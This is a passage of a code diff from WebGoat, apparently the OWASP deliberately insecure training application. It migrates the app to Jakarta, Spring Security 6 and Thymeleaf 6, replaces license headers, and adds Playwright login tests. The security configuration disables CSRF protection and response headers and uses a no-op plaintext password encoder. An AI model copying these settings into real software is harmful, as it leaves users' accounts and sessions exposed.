+    assertThat(page.locator("#payload"))
+        .hasValue(
+            "{\n"
+                + "  \"iat\" : 1516239022,\n"
+                + "  \"name\" : \"John Doe\",\n"
+                + "  \"sub\" : \"1234567890\"\n"
+                + "}");
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webwolf/LoginUITest.java

@@ -0,0 +1,31 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webwolf;
+
+import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
+
+import com.microsoft.playwright.Browser;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
+import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
+import org.owasp.webgoat.playwright.webwolf.pages.WebWolfLoginPage;
+
+public class LoginUITest extends PlaywrightTest {
+
+  @Test
+  void login(Browser browser) {
+    var page = Authentication.tweety(browser);
+    var loginPage = new WebWolfLoginPage(page);
+    loginPage.open();
+    loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
+
+    assertThat(loginPage.getSignInButton()).not().isVisible();
+
+    // logout
+    loginPage.logout();
+
+    assertThat(loginPage.getSignInButton()).isVisible();
+  }
+}

src/it/java/org/owasp/webgoat/playwright/webwolf/pages/WebWolfLoginPage.java

@@ -0,0 +1,41 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.playwright.webwolf.pages;
+
+import static com.microsoft.playwright.options.AriaRole.BUTTON;
+import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webWolfURL;
+
+import com.microsoft.playwright.Locator;
+import com.microsoft.playwright.Page;
+import com.microsoft.playwright.options.AriaRole;
+import lombok.Getter;
+
+public class WebWolfLoginPage {
+
+  private final Page page;
+  @Getter private final Locator signInButton;
+  private final Locator signOutButton;
+
+  public WebWolfLoginPage(Page page) {
+    this.page = page;
+    this.signInButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign In"));
+    this.signOutButton =
+        this.page.getByRole(AriaRole.LINK, new Page.GetByRoleOptions().setName("Sign out"));
+  }
+
+  public void open() {
+    page.navigate(webWolfURL("login"));
+  }
+
+  public void login(String username, String password) {
+    page.getByPlaceholder("Username WebGoat").fill(username);
+    page.getByPlaceholder("Password WebGoat").fill(password);
+    signInButton.click();
+  }
+
+  public void logout() {
+    this.signOutButton.click();
+  }
+}

src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java

@@ -1,3 +1,7 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
 package org.dummy.insecure.framework;
 
 import java.io.BufferedReader;

src/main/java/org/owasp/webgoat/container/AjaxAuthenticationEntryPoint.java

@@ -1,36 +1,13 @@
-/**
+/*
- * *************************************************************************************************
+ * SPDX-FileCopyrightText: Copyright © 2008 WebGoat authors
- *
+ * SPDX-License-Identifier: GPL-2.0-or-later
- * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
  */
 package org.owasp.webgoat.container;
 
+import jakarta.servlet.ServletException;
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
 import java.io.IOException;
-import javax.servlet.ServletException;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
 import org.springframework.security.core.AuthenticationException;
 import org.springframework.security.web.authentication.LoginUrlAuthenticationEntryPoint;
 

src/main/java/org/owasp/webgoat/container/AsciiDoctorTemplateResolver.java

@@ -1,53 +1,28 @@
-/**
+/*
- * ************************************************************************************************
+ * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
- * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * SPDX-License-Identifier: GPL-2.0-or-later
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
- * <p>
- *
- * @author WebGoat
- * @version $Id: $Id
- * @since December 12, 2015
  */
 package org.owasp.webgoat.container;
 
 import static org.asciidoctor.Asciidoctor.Factory.create;
 
-import io.undertow.util.Headers;
+import jakarta.servlet.http.HttpServletRequest;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
 import java.io.StringWriter;
-import java.util.HashMap;
 import java.util.Locale;
 import java.util.Map;
 import java.util.Set;
-import javax.servlet.http.HttpServletRequest;
 import lombok.extern.slf4j.Slf4j;
 import org.asciidoctor.Asciidoctor;
+import org.asciidoctor.Attributes;
+import org.asciidoctor.Options;
 import org.asciidoctor.extension.JavaExtensionRegistry;
 import org.owasp.webgoat.container.asciidoc.*;
 import org.owasp.webgoat.container.i18n.Language;
 import org.springframework.core.io.ResourceLoader;
+import org.springframework.http.HttpHeaders;
 import org.springframework.web.context.request.RequestContextHolder;
 import org.springframework.web.context.request.ServletRequestAttributes;
 import org.springframework.web.servlet.i18n.SessionLocaleResolver;
@@ -60,7 +35,7 @@ import org.thymeleaf.templateresource.StringTemplateResource;
  * Thymeleaf resolver for AsciiDoc used in the lesson, can be used as follows inside a lesson file:
  *
  * <p><code>
- * <div th:replace="doc:AccessControlMatrix_plan.adoc"></div>
+ * <div th:replace="~{doc:AccessControlMatrix_plan.adoc}"></div>
  * </code>
  */
 @Slf4j
@@ -135,17 +110,17 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
     return computedResourceName;
   }
 
-  private Map<String, Object> createAttributes() {
+  private Options createAttributes() {
-    Map<String, Object> attributes = new HashMap<>();
-    attributes.put("source-highlighter", "coderay");
-    attributes.put("backend", "xhtml");
-    attributes.put("lang", determineLanguage());
-    attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS);
 
-    Map<String, Object> options = new HashMap<>();
+    return Options.builder()
-    options.put("attributes", attributes);
+        .attributes(
-
+            Attributes.builder()
-    return options;
+                .attribute("source-highlighter", "coderay")
+                .attribute("backend", "xhtml")
+                .attribute("lang", determineLanguage())
+                .attribute("icons", org.asciidoctor.Attributes.FONT_ICONS)
+                .build())
+        .build();
   }
 
   private String determineLanguage() {
@@ -159,7 +134,7 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
       log.debug("browser locale {}", browserLocale);
       return browserLocale.getLanguage();
     } else {
-      String langHeader = request.getHeader(Headers.ACCEPT_LANGUAGE_STRING);
+      String langHeader = request.getHeader(HttpHeaders.ACCEPT_LANGUAGE);
       if (null != langHeader) {
         log.debug("browser locale {}", langHeader);
         return langHeader.substring(0, 2);

src/main/java/org/owasp/webgoat/container/CurrentUser.java

@@ -0,0 +1,18 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2017 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
+
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import org.springframework.security.core.annotation.AuthenticationPrincipal;
+
+@Target({ElementType.PARAMETER, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@Documented
+@AuthenticationPrincipal
+public @interface CurrentUser {}

src/main/java/org/owasp/webgoat/container/CurrentUsername.java

@@ -0,0 +1,18 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
+
+import java.lang.annotation.Documented;
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import org.springframework.security.core.annotation.AuthenticationPrincipal;
+
+@Target({ElementType.PARAMETER, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@Documented
+@AuthenticationPrincipal(expression = "#this.getUsername()")
+public @interface CurrentUsername {}

src/main/java/org/owasp/webgoat/container/DatabaseConfiguration.java

@@ -1,3 +1,7 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
 package org.owasp.webgoat.container;
 
 import java.util.Map;
@@ -6,8 +10,8 @@ import javax.sql.DataSource;
 import lombok.RequiredArgsConstructor;
 import lombok.extern.slf4j.Slf4j;
 import org.flywaydb.core.Flyway;
-import org.owasp.webgoat.container.lessons.LessonScanner;
 import org.owasp.webgoat.container.service.RestartLessonService;
+import org.owasp.webgoat.container.users.WebGoatUser;
 import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
@@ -20,7 +24,6 @@ import org.springframework.jdbc.datasource.DriverManagerDataSource;
 public class DatabaseConfiguration {
 
   private final DataSourceProperties properties;
-  private final LessonScanner lessonScanner;
 
   @Bean
   @Primary
@@ -36,8 +39,8 @@ public class DatabaseConfiguration {
   /**
    * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users
    * and 1 for lesson specific tables we use. This way we clean the data in the lesson database
-   * quite easily see {@link RestartLessonService#restartLesson()} for how we clean the lesson
+   * quite easily see {@link RestartLessonService#restartLesson(String, WebGoatUser)} for how we
-   * related tables.
+   * clean the lesson related tables.
    */
   @Bean(initMethod = "migrate")
   public Flyway flyWayContainer() {
@@ -50,18 +53,19 @@ public class DatabaseConfiguration {
   }
 
   @Bean
-  public Function<String, Flyway> flywayLessons(LessonDataSource lessonDataSource) {
+  public Function<String, Flyway> flywayLessons() {
     return schema ->
         Flyway.configure()
             .configuration(Map.of("driver", properties.getDriverClassName()))
             .schemas(schema)
-            .dataSource(lessonDataSource)
+            .cleanDisabled(false)
+            .dataSource(dataSource())
             .locations("lessons")
             .load();
   }
 
   @Bean
-  public LessonDataSource lessonDataSource() {
+  public LessonDataSource lessonDataSource(DataSource dataSource) {
-    return new LessonDataSource(dataSource());
+    return new LessonDataSource(dataSource);
   }
 }

src/main/java/org/owasp/webgoat/container/HammerHead.java

@@ -1,3 +1,7 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2008 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
 package org.owasp.webgoat.container;
 
 import lombok.AllArgsConstructor;
@@ -7,39 +11,6 @@ import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RequestMethod;
 import org.springframework.web.servlet.ModelAndView;
 
-/**
- * *************************************************************************************************
- *
- * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
- * @author Jeff Williams
- * @author Bruce Mayhew
- * @author Nanne Baars
- * @version $Id: $Id
- * @since October 28, 2003
- */
 @Controller
 @AllArgsConstructor
 public class HammerHead {

src/main/java/org/owasp/webgoat/container/LessonDataSource.java

@@ -1,3 +1,7 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2021 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
 package org.owasp.webgoat.container;
 
 import java.io.PrintWriter;

src/main/java/org/owasp/webgoat/container/LessonResourceScanner.java

@@ -1,4 +1,8 @@
-package org.owasp.webgoat.container.lessons;
+/*
+ * SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
 
 import java.io.IOException;
 import java.util.HashSet;
@@ -12,13 +16,13 @@ import org.springframework.stereotype.Component;
 
 @Component
 @Slf4j
-public class LessonScanner {
+public class LessonResourceScanner {
 
   private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$");
 
   @Getter private final Set<String> lessons = new HashSet<>();
 
-  public LessonScanner(ResourcePatternResolver resourcePatternResolver) {
+  public LessonResourceScanner(ResourcePatternResolver resourcePatternResolver) {
     try {
       var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*");
       for (var resource : resources) {

src/main/java/org/owasp/webgoat/container/LessonTemplateResolver.java

@@ -1,33 +1,6 @@
-/**
+/*
- * ************************************************************************************************
+ * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
- *
+ * SPDX-License-Identifier: GPL-2.0-or-later
- * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
- * @author WebGoat
- * @version $Id: $Id
- * @since October 28, 2003
  */
 package org.owasp.webgoat.container;
 
@@ -55,8 +28,8 @@ import org.thymeleaf.templateresource.StringTemplateResource;
 public class LessonTemplateResolver extends FileTemplateResolver {
 
   private static final String PREFIX = "lesson:";
-  private ResourceLoader resourceLoader;
+  private final ResourceLoader resourceLoader;
-  private Map<String, byte[]> resources = new HashMap<>();
+  private final Map<String, byte[]> resources = new HashMap<>();
 
   public LessonTemplateResolver(ResourceLoader resourceLoader) {
     this.resourceLoader = resourceLoader;

src/main/java/org/owasp/webgoat/container/MvcConfiguration.java

@@ -1,33 +1,6 @@
-/**
+/*
- * ************************************************************************************************
+ * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
- *
+ * SPDX-License-Identifier: GPL-2.0-or-later
- * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
- * @author WebGoat
- * @version $Id: $Id
- * @since October 28, 2003
  */
 package org.owasp.webgoat.container;
 
@@ -40,7 +13,6 @@ import lombok.extern.slf4j.Slf4j;
 import org.owasp.webgoat.container.i18n.Language;
 import org.owasp.webgoat.container.i18n.Messages;
 import org.owasp.webgoat.container.i18n.PluginMessages;
-import org.owasp.webgoat.container.lessons.LessonScanner;
 import org.owasp.webgoat.container.session.LabelDebugger;
 import org.springframework.context.ApplicationContext;
 import org.springframework.context.annotation.Bean;
@@ -56,10 +28,10 @@ import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
 import org.springframework.web.servlet.i18n.LocaleChangeInterceptor;
 import org.springframework.web.servlet.i18n.SessionLocaleResolver;
 import org.thymeleaf.IEngineConfiguration;
-import org.thymeleaf.extras.springsecurity5.dialect.SpringSecurityDialect;
+import org.thymeleaf.extras.springsecurity6.dialect.SpringSecurityDialect;
-import org.thymeleaf.spring5.SpringTemplateEngine;
+import org.thymeleaf.spring6.SpringTemplateEngine;
-import org.thymeleaf.spring5.templateresolver.SpringResourceTemplateResolver;
+import org.thymeleaf.spring6.templateresolver.SpringResourceTemplateResolver;
-import org.thymeleaf.spring5.view.ThymeleafViewResolver;
+import org.thymeleaf.spring6.view.ThymeleafViewResolver;
 import org.thymeleaf.templatemode.TemplateMode;
 import org.thymeleaf.templateresolver.FileTemplateResolver;
 import org.thymeleaf.templateresolver.ITemplateResolver;
@@ -74,7 +46,7 @@ public class MvcConfiguration implements WebMvcConfigurer {
 
   private static final String UTF8 = "UTF-8";
 
-  private final LessonScanner lessonScanner;
+  private final LessonResourceScanner lessonScanner;
 
   @Override
   public void addViewControllers(ViewControllerRegistry registry) {
@@ -242,6 +214,7 @@ public class MvcConfiguration implements WebMvcConfigurer {
   @Override
   public void addInterceptors(InterceptorRegistry registry) {
     registry.addInterceptor(localeChangeInterceptor());
+    registry.addInterceptor(new UserInterceptor());
   }
 
   @Bean

src/main/java/org/owasp/webgoat/container/UserInterceptor.java

@@ -0,0 +1,57 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2023 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.container;
+
+import jakarta.servlet.http.HttpServletRequest;
+import jakarta.servlet.http.HttpServletResponse;
+import org.owasp.webgoat.container.asciidoc.EnvironmentExposure;
+import org.springframework.core.env.Environment;
+import org.springframework.security.core.Authentication;
+import org.springframework.security.core.context.SecurityContextHolder;
+import org.springframework.web.servlet.HandlerInterceptor;
+import org.springframework.web.servlet.ModelAndView;
+
+public class UserInterceptor implements HandlerInterceptor {
+
+  private Environment env = EnvironmentExposure.getEnv();
+
+  @Override
+  public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)
+      throws Exception {
+    // Do nothing
+    return true;
+  }
+
+  @Override
+  public void postHandle(
+      HttpServletRequest request,
+      HttpServletResponse response,
+      Object handler,
+      ModelAndView modelAndView)
+      throws Exception {
+    if (null != modelAndView) {
+      Authentication authentication = SecurityContextHolder.getContext().getAuthentication();
+      if (null != authentication) {
+        modelAndView.getModel().put("username", authentication.getName());
+      }
+      if (null != env) {
+        String githubClientId =
+            env.getProperty("spring.security.oauth2.client.registration.github.client-id");
+        if (null != githubClientId && !githubClientId.equals("dummy")) {
+          modelAndView.getModel().put("oauth", Boolean.TRUE);
+        }
+      } else {
+        modelAndView.getModel().put("oauth", Boolean.FALSE);
+      }
+    }
+  }
+
+  @Override
+  public void afterCompletion(
+      HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)
+      throws Exception {
+    // Do nothing
+  }
+}

src/main/java/org/owasp/webgoat/container/WebGoat.java

@@ -1,53 +1,29 @@
-/**
+/*
- * ************************************************************************************************
+ * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
- *
+ * SPDX-License-Identifier: GPL-2.0-or-later
- * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
- * @author WebGoat
- * @version $Id: $Id
- * @since October 28, 2003
  */
 package org.owasp.webgoat.container;
 
 import java.io.File;
-import org.owasp.webgoat.container.session.UserSessionData;
+import org.owasp.webgoat.container.session.LessonSession;
-import org.owasp.webgoat.container.session.WebSession;
 import org.springframework.beans.factory.annotation.Value;
 import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
+import org.springframework.boot.autoconfigure.domain.EntityScan;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.ComponentScan;
 import org.springframework.context.annotation.Configuration;
 import org.springframework.context.annotation.PropertySource;
 import org.springframework.context.annotation.Scope;
 import org.springframework.context.annotation.ScopedProxyMode;
+import org.springframework.data.jpa.repository.config.EnableJpaRepositories;
 import org.springframework.web.client.RestTemplate;
 
 @Configuration
 @ComponentScan(basePackages = {"org.owasp.webgoat.container", "org.owasp.webgoat.lessons"})
 @PropertySource("classpath:application-webgoat.properties")
 @EnableAutoConfiguration
+@EnableJpaRepositories(basePackages = {"org.owasp.webgoat.container"})
+@EntityScan(basePackages = "org.owasp.webgoat.container")
 public class WebGoat {
 
   @Bean(name = "pluginTargetDirectory")
@@ -57,14 +33,8 @@ public class WebGoat {
 
   @Bean
   @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
-  public WebSession webSession() {
+  public LessonSession userSessionData() {
-    return new WebSession();
+    return new LessonSession();
-  }
-
-  @Bean
-  @Scope(value = "session", proxyMode = ScopedProxyMode.TARGET_CLASS)
-  public UserSessionData userSessionData() {
-    return new UserSessionData("test", "data");
   }
 
   @Bean

src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java

@@ -1,32 +1,6 @@
-/**
+/*
- * ************************************************************************************************
+ * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
- * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * SPDX-License-Identifier: GPL-2.0-or-later
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
- * <p>
- *
- * @author WebGoat
- * @version $Id: $Id
- * @since December 12, 2015
  */
 package org.owasp.webgoat.container;
 
@@ -35,28 +9,30 @@ import org.owasp.webgoat.container.users.UserService;
 import org.springframework.beans.factory.annotation.Autowired;
 import org.springframework.context.annotation.Bean;
 import org.springframework.context.annotation.Configuration;
+import org.springframework.context.annotation.Primary;
 import org.springframework.security.authentication.AuthenticationManager;
 import org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;
+import org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration;
 import org.springframework.security.config.annotation.web.builders.HttpSecurity;
 import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
-import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
-import org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;
 import org.springframework.security.core.userdetails.UserDetailsService;
 import org.springframework.security.crypto.password.NoOpPasswordEncoder;
+import org.springframework.security.web.SecurityFilterChain;
 
 /** Security configuration for WebGoat. */
 @Configuration
 @AllArgsConstructor
 @EnableWebSecurity
-public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
+public class WebSecurityConfig {
 
   private final UserService userDetailsService;
 
-  @Override
+  @Bean
-  protected void configure(HttpSecurity http) throws Exception {
+  public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
-    ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security =
+    return http.authorizeHttpRequests(
-        http.authorizeRequests()
+            auth ->
-            .antMatchers(
+                auth.requestMatchers(
+                        "/favicon.ico",
                         "/css/**",
                         "/images/**",
                         "/js/**",
@@ -67,20 +43,27 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
                         "/actuator/**")
                     .permitAll()
                     .anyRequest()
-            .authenticated();
+                    .authenticated())
-    security
+        .formLogin(
-        .and()
+            login ->
-        .formLogin()
+                login
                     .loginPage("/login")
                     .defaultSuccessUrl("/welcome.mvc", true)
                     .usernameParameter("username")
                     .passwordParameter("password")
-        .permitAll();
+                    .permitAll())
-    security.and().logout().deleteCookies("JSESSIONID").invalidateHttpSession(true);
+        .oauth2Login(
-    security.and().csrf().disable();
+            oidc -> {
-
+              oidc.defaultSuccessUrl("/login-oauth.mvc");
-    http.headers().cacheControl().disable();
+              oidc.loginPage("/login");
-    http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login"));
+            })
+        .logout(logout -> logout.deleteCookies("JSESSIONID").invalidateHttpSession(true))
+        .csrf(csrf -> csrf.disable())
+        .headers(headers -> headers.disable())
+        .exceptionHandling(
+            handling ->
+                handling.authenticationEntryPoint(new AjaxAuthenticationEntryPoint("/login")))
+        .build();
   }
 
   @Autowired
@@ -89,18 +72,17 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
   }
 
   @Bean
-  @Override
+  @Primary
-  public UserDetailsService userDetailsServiceBean() throws Exception {
+  public UserDetailsService userDetailsServiceBean() {
     return userDetailsService;
   }
 
-  @Override
   @Bean
-  protected AuthenticationManager authenticationManager() throws Exception {
+  public AuthenticationManager authenticationManager(
-    return super.authenticationManager();
+      AuthenticationConfiguration authenticationConfiguration) throws Exception {
+    return authenticationConfiguration.getAuthenticationManager();
   }
 
-  @SuppressWarnings("deprecation")
   @Bean
   public NoOpPasswordEncoder passwordEncoder() {
     return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();

src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java

@@ -1,3 +1,7 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
 package org.owasp.webgoat.container;
 
 import lombok.RequiredArgsConstructor;

src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java

@@ -1,3 +1,7 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2018 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
 package org.owasp.webgoat.container.asciidoc;
 
 import org.springframework.beans.BeansException;
@@ -16,7 +20,7 @@ public class EnvironmentExposure implements ApplicationContextAware {
   private static ApplicationContext context;
 
   public static Environment getEnv() {
-    return context.getEnvironment();
+    return null != context ? context.getEnvironment() : null;
   }
 
   @Override

src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java

@@ -1,7 +1,12 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
 package org.owasp.webgoat.container.asciidoc;
 
 import java.util.Map;
-import org.asciidoctor.ast.ContentNode;
+import org.asciidoctor.ast.PhraseNode;
+import org.asciidoctor.ast.StructuralNode;
 import org.asciidoctor.extension.InlineMacroProcessor;
 
 public class OperatingSystemMacro extends InlineMacroProcessor {
@@ -15,7 +20,8 @@ public class OperatingSystemMacro extends InlineMacroProcessor {
   }
 
   @Override
-  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {
+  public PhraseNode process(
+      StructuralNode contentNode, String target, Map<String, Object> attributes) {
     var osName = System.getProperty("os.name");
 
     // see

src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java

@@ -1,7 +1,12 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
